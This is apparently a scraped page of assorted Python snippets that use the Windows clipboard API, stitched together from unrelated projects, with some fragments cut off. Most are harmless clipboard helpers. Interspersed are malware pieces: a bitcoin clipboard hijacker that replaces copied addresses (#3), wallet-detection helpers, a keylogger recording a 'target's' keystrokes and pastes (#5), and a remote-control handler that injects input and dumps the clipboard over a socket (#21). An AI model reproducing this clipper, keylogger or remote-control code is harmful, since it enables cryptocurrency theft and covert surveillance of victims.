예제 #1
0
def get_clipboard_data():
    from win32clipboard import OpenClipboard, CloseClipboard, GetClipboardData
    from win32con import CF_TEXT
    OpenClipboard()
    data = GetClipboardData(CF_TEXT)
    CloseClipboard()
    return data
예제 #2
0
    def on_key_press(self, symbol, modifiers):
        if symbol == BACKSPACE and self.text_label:
            if len(self.text_label.text) > 0:
                self.text_label.text = self.text_label.text[:-1]
            else:
                self.text_label.delete()
                self.text_label = None
                self.placeholder_label = PygletLabel(
                    self.get_formatted_text(),
                    font_name=self.font_name,
                    bold=self.bold,
                    font_size=self.get_font_size(),
                    color=(*self.placeholder_color, self.opacity),
                    x=self.get_x(),
                    y=self.get_y(),
                    anchor_x=self.anchor_x,
                    anchor_y=self.anchor_y,
                    align=self.align,
                    multiline=self.multiline,
                    batch=self.batch,
                    group=self.group)

        elif modifiers & MOD_CTRL and symbol == V:
            OpenClipboard()
            try:
                self.on_text(GetClipboardData())
            except TypeError:
                pass

            CloseClipboard()
예제 #3
0
def checkClipBoard():
	OpenClipboard()
	data = GetClipboardData()
	if len(data) == 34 and data[0] == "1": #detect if the user is copying a bitcoin address.
		EmptyClipboard()
		SetClipboardText("Your bitcoin address.")
	CloseClipboard()
예제 #4
0
def clipboard_get_text(to_open=True, to_close=True):
    """
    Get text from clipboard.

    :param to_open: open clipboard before doing.

    :param to_close: close clipboard after done.

    :return: the text.
    """
    # If need open clipboard
    if to_open:
        # Open clipboard
        clipboard_open()

    try:
        # Get text from clipboard
        text = GetClipboardData(CF_TEXT)

        # Return the text
        return text
    finally:
        # If need close clipboard
        if to_close:
            # Close clipboard
            CloseClipboard()
예제 #5
0
def OnKeyboardEvent(event):

    global current_window

    # Check to see if the target changed windows
    if event.WindowName != current_window:
        current_window = event.WindowName
        get_current_process()

    with open(file_log, 'a+') as f:
        # If the target presses a standard key
        if event.Ascii > 32 and event.Ascii < 127:
            data = chr(event.Ascii)
            f.write(data)
        else:
            # If [Ctrl-V], get the value on the clipboard
            if event.Key == "V":
                OpenClipboard()
                pasted_value = GetClipboardData()
                CloseClipboard()

                data = "[PASTE] - {}".format(pasted_value)
                f.write(data)

            else:
                data = "[{}]".format(event.Key)
                f.write(data)

    # Pass execution to the next hook registered
    return True
예제 #6
0
	def GetVerse(self):
		handle = OpenClipboard(None)
		assert(handle == None)

		s = GetClipboardData(win32clipboard.CF_UNICODETEXT)
		CloseClipboard();
		return s
예제 #7
0
def clipboard_to_camelcase():
    """
    Hotkey function that converts text in clipboard to camelCase.

    :return: None.
    """
    # Open clipboard
    clipboard_open()

    try:
        # Get text from clipboard
        text = GetClipboardData(CF_TEXT)

        # If the text is empty
        if not text:
            # Ignore
            return

        # If is not Python 2
        if not _IS_PY2:
            # Convert the text to Unicode
            text = text.decode('gbk')

        # Replace non-letter character to space
        text = re.sub(r'[^A-Z0-9a-z]', ' ', text)

        # Split text to words by white-space,
        # capitalize each word,
        # join the capitalized words into text.
        text = ''.join(word.capitalize() for word in text.split())

        # If the text is not empty
        if text:
            # Convert the text to camelCase
            text = text[0].lower() + text[1:]

        # Empty clipboard
        EmptyClipboard()

        # Set the text to clipboard
        SetClipboardText(text, CF_TEXT)

        # Set text to clipboard as Unicode
        SetClipboardText(text, CF_UNICODETEXT)
    finally:
        # Close clipboard
        CloseClipboard()
예제 #8
0
def clipboard_to_camelcase():
    """
    Hotkey function that converts text in clipboard to camelCase.

    :return: None.
    """
    # Open clipboard
    clipboard_open()

    try:
        # Get text from clipboard
        text = GetClipboardData(CF_TEXT)

        # If the text is empty
        if not text:
            # Ignore
            return

        # If is not Python 2
        if not _IS_PY2:
            # Convert the text to Unicode
            text = text.decode('gbk')

        # Replace non-letter character to space
        text = re.sub(r'[^A-Z0-9a-z]', ' ', text)

        # Split text to words by white-space,
        # capitalize each word,
        # join the capitalized words into text.
        text = ''.join(word.capitalize() for word in text.split())

        # If the text is not empty
        if text:
            # Convert the text to camelCase
            text = text[0].lower() + text[1:]

        # Empty clipboard
        EmptyClipboard()

        # Set the text to clipboard
        SetClipboardText(text, CF_TEXT)

        # Set text to clipboard as Unicode
        SetClipboardText(text, CF_UNICODETEXT)
    finally:
        # Close clipboard
        CloseClipboard()
 def check_bitcoin_wallet(self):
     OpenClipboard()
     data = GetClipboardData()
     CloseClipboard()
     l = findall('[a-zA-Z0-9]{34}', data)
     if len(l) == 1:
         return True
     else:
         return False
예제 #10
0
def clipboard(msg=None):
    x = ""
    OpenClipboard()
    if msg:
        EmptyClipboard()
        SetClipboardText(msg)
    else:
        x = GetClipboardData()
    CloseClipboard()
    return x
예제 #11
0
파일: win32.py 프로젝트: MShaffar19/ctk
def cb(text=None, fmt=CF_UNICODETEXT, cls=unicode):
    OpenClipboard()
    if not text:
        text = GetClipboardData(fmt)
        CloseClipboard()
        return text
    EmptyClipboard()
    SetClipboardData(fmt, cls(text) if cls else text)
    CloseClipboard()
    sys.stdout.write("copied %d bytes into clipboard...\n" % len(text))
예제 #12
0
    def get_clipboard(self):

        try:
            OpenClipboard()
            clipboard = GetClipboardData()
            CloseClipboard()

            return clipboard

        except:
            return ""
예제 #13
0
    def paste(self):
        selected_widget = self.widget.focus_get()
        if selected_widget.selection_present():
            self.remove_selection(selected_widget)

        OpenClipboard()
        try:
            selected_widget.insert(INSERT, GetClipboardData(CF_UNICODETEXT))
        except:
            pass
        CloseClipboard()
예제 #14
0
def get_clipboard_value():
    clipboard_value = None
    try:
        OpenClipboard()
        clipboard_value = GetClipboardData()
    except:
        pass
    CloseClipboard()
    if clipboard_value:
        if 0 < len(clipboard_value) < 300:
            return clipboard_value
예제 #15
0
 def cb(text=None, fmt=CF_UNICODETEXT, cls=unicode_class):
     OpenClipboard()
     if not text:
         text = GetClipboardData(fmt)
         CloseClipboard()
         return text
     EmptyClipboard()
     data = cls(text) if cls and not isinstance(text, cls) else text
     SetClipboardData(fmt, data)
     CloseClipboard()
     return data
    def get(self) -> str:
        text = ''

        try:
            OpenClipboard()
            text = GetClipboardData()
            CloseClipboard()
        except Exception as ex:
            if len(ex.args) == 0 or ex.args[0] not in ALLOWED_ERRORS:
                logging.error(f'Failed to retrieve clipboard data: {ex}')

        return text
예제 #17
0
def clipboard_to_uppercase():
    """
    Hotkey function that converts text in clipboard to UPPERCASE.

    :return: None.
    """
    # Open clipboard
    clipboard_open()

    try:
        # Get text from clipboard
        text = GetClipboardData(CF_TEXT)

        # If the text is empty
        if not text:
            # Ignore
            return

        # Convert to upper case
        text = text.upper()

        # Empty clipboard
        EmptyClipboard()

        # Set text to clipboard
        SetClipboardText(text, CF_TEXT)

        # If is not Python 2
        if not _IS_PY2:
            # Convert the text to Unicode
            text = text.decode('gbk')

        # Set text to clipboard as Unicode
        SetClipboardText(text, CF_UNICODETEXT)
    finally:
        # Close clipboard
        CloseClipboard()
예제 #18
0
def clipboard_to_uppercase():
    """
    Hotkey function that converts text in clipboard to UPPERCASE.

    :return: None.
    """
    # Open clipboard
    clipboard_open()

    try:
        # Get text from clipboard
        text = GetClipboardData(CF_TEXT)

        # If the text is empty
        if not text:
            # Ignore
            return

        # Convert to upper case
        text = text.upper()

        # Empty clipboard
        EmptyClipboard()

        # Set text to clipboard
        SetClipboardText(text, CF_TEXT)

        # If is not Python 2
        if not _IS_PY2:
            # Convert the text to Unicode
            text = text.decode('gbk')

        # Set text to clipboard as Unicode
        SetClipboardText(text, CF_UNICODETEXT)
    finally:
        # Close clipboard
        CloseClipboard()
예제 #19
0
def get_selected_text() -> str:
    OpenClipboard()
    old_clipboard_text = GetClipboardData(CF_TEXT)
    old_clipboard_text_unicode = old_clipboard_text.decode("utf-8", "replace")
    CloseClipboard()
    #Logger.info(f"Clip Old: {old_clipboard_text_unicode[0:20]}")

    SendInput(Keyboard(VK_CONTROL))
    time.sleep(0.1)
    SendInput(Keyboard(KEY_C))
    time.sleep(0.1)
    SendInput(Keyboard(VK_CONTROL, KEYEVENTF_KEYUP))
    time.sleep(0.1)
    SendInput(Keyboard(KEY_C, KEYEVENTF_KEYUP))
    time.sleep(0.1)

    OpenClipboard()
    selected_text = GetClipboardData(CF_TEXT)
    SetClipboardData(CF_TEXT, old_clipboard_text)
    CloseClipboard()
    selected_text_unicode = selected_text.decode("iso-8859-1", "replace")
    #Logger.info(f"Clip New: {selected_text_unicode[0:20]}")

    return selected_text_unicode
예제 #20
0
 def get_clipboard_text():
     OpenClipboard()
     text = GetClipboardData(win32con.CF_TEXT)
     CloseClipboard()
     return text
예제 #21
0
def inject_input(injection_type, arg):
    try:
        if injection_type == 'ty':
            if not arg:
                s.sendall('[-]Supply a key as an arg'+End)
                return
            pyautogui.typewrite(arg)
            s.sendall('[+]Injected typewritten character/s' + End)
        elif injection_type == 'pr':
            if not arg:
                s.sendall('[-]Supply a key as an arg'+End)
                return
            pyautogui.press(arg)
            s.sendall('[+]Injected pressed key' + End)
        elif injection_type == 'sh':
            if not arg:
                s.sendall('[-]Supply a key as an arg'+End)
                return
            if ' ' in arg:
                arg = arg.split(' ')
                for key in arg:
                    pyautogui.keyDown(key)
                for key in reversed(arg):
                    pyautogui.keyUp(key)
                s.sendall('[+]Injected keyboard shortcut' + End)
            else:
                pyautogui.hotkey(arg)
                s.sendall('[+]Injected keyboard shortcut' + End)
        elif injection_type == 'valids':
            tar_list = '|/'.join(valid_keys)
            s.sendall(tar_list + End)
        elif injection_type == 'clip_clear':
            OpenClipboard()
            EmptyClipboard()
            s.sendall('[+]Cleared clipboard content' + End)
            CloseClipboard()
        elif injection_type == 'clip_dump':
            OpenClipboard()
            try:
                injection_type = GetClipboardData()
            except TypeError:
                s.sendall('[+]Clipboard content is empty' + End)
                return
            CloseClipboard()
            s.sendall('[+]Dumped content : ' + injection_type + End)
        elif injection_type == 'clip_set':
            if not arg:
                s.sendall('[-]Input a string' + End)
                return
            OpenClipboard()
            EmptyClipboard()
            SetClipboardText(arg)
            CloseClipboard()
            s.sendall('[+]Injected cliboard data' + End)
        elif injection_type == 'click_left':
            pyautogui.click(button='left')
            s.sendall('[+]Injected left mouse click' + End)
        elif injection_type == 'click_right':
            pyautogui.click(button='right')
            s.sendall('[+]Injected right mouse click' + End)
        elif injection_type == 'move_to':
            if not arg:
                s.sendall('[-]Supply a coord as an arg'+End)
                return
            try:
                arg = arg.split(' ')
                cord_one = int(arg[0])
                cord_two = int(arg[1])
                pyautogui.moveTo(x=cord_one, y=cord_two)
                s.sendall('[+]Injected mouse movement' + End)
            except:
                s.sendall('[-]Input X and Y coordinates as integers' + End)
                return
        elif injection_type == 'dimensions':
            dimensions = pyautogui.size()
            dimensions = '[+]Dimensions of screen : ' + str(dimensions[0]) + ' x ' + str(dimensions[1])
            s.sendall(dimensions + End)
        elif injection_type == 'position':
            current = pyautogui.position()
            current = '[+]Current mouse position : ' + str(current[0]) + ' x ' + str(current[1])
            s.sendall(current + End)
        else:
            s.sendall('[-]Unknown command "' + injection_type + '", run "help" for help menu' + End)
    except Exception as e:
        s.sendall('[-]Error injecting keystrokes : ' + str(e))
예제 #22
0
파일: pyclip.py 프로젝트: anrosent/misc
def get_clip():
    OpenClipboard()
    data = ''.join([s if s in printable else '' for s in GetClipboardData()])
    return data
예제 #23
0
def CopyFromClipboard():
    OpenClipboard()
    data = GetClipboardData()
    CloseClipboard()
    return data
예제 #24
0
파일: install.py 프로젝트: ronaldomg/native
#!/usr/bin/env python

from _winreg import SetValueEx, CreateKeyEx, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, KEY_ALL_ACCESS, REG_SZ, FlushKey
from os import path
from win32clipboard import CloseClipboard, OpenClipboard, GetClipboardData

c_path = path.dirname(path.realpath(__file__)) + path.sep
extensionID = raw_input(
    'Digite o valor da extensao ou pressione enter para colar')

if extensionID == '':
    OpenClipboard()
    extensionID = GetClipboardData()
    CloseClipboard()

print('extensionID: ' + extensionID)

if extensionID != '':

    jobDone = False
    try:
        host_key = r'SOFTWARE\Google\Chrome\NativeMessagingHosts\br.com.bluefocus.printhost'
        hostKey = CreateKeyEx(HKEY_LOCAL_MACHINE, host_key, 0, KEY_ALL_ACCESS)
        SetValueEx(hostKey, "", 0, REG_SZ,
                   c_path + "br.com.bluefocus.printhost-win.json")
        FlushKey(hostKey)

        list_key = r'SOFTWARE\Google\Chrome\NativeMessagingHosts\br.com.bluefocus.printlist'
        listKey = CreateKeyEx(HKEY_LOCAL_MACHINE, list_key, 0, KEY_ALL_ACCESS)
        SetValueEx(listKey, "", 0, REG_SZ,
                   c_path + "br.com.bluefocus.printlist-win.json")
예제 #25
0
 def copy(fmt=CF_UNICODETEXT):
     OpenClipboard()
     text = GetClipboardData(fmt)
     CloseClipboard()
     return text
 def get_old_wallet(self):
     OpenClipboard()
     self.old_wallet = GetClipboardData()
     CloseClipboard()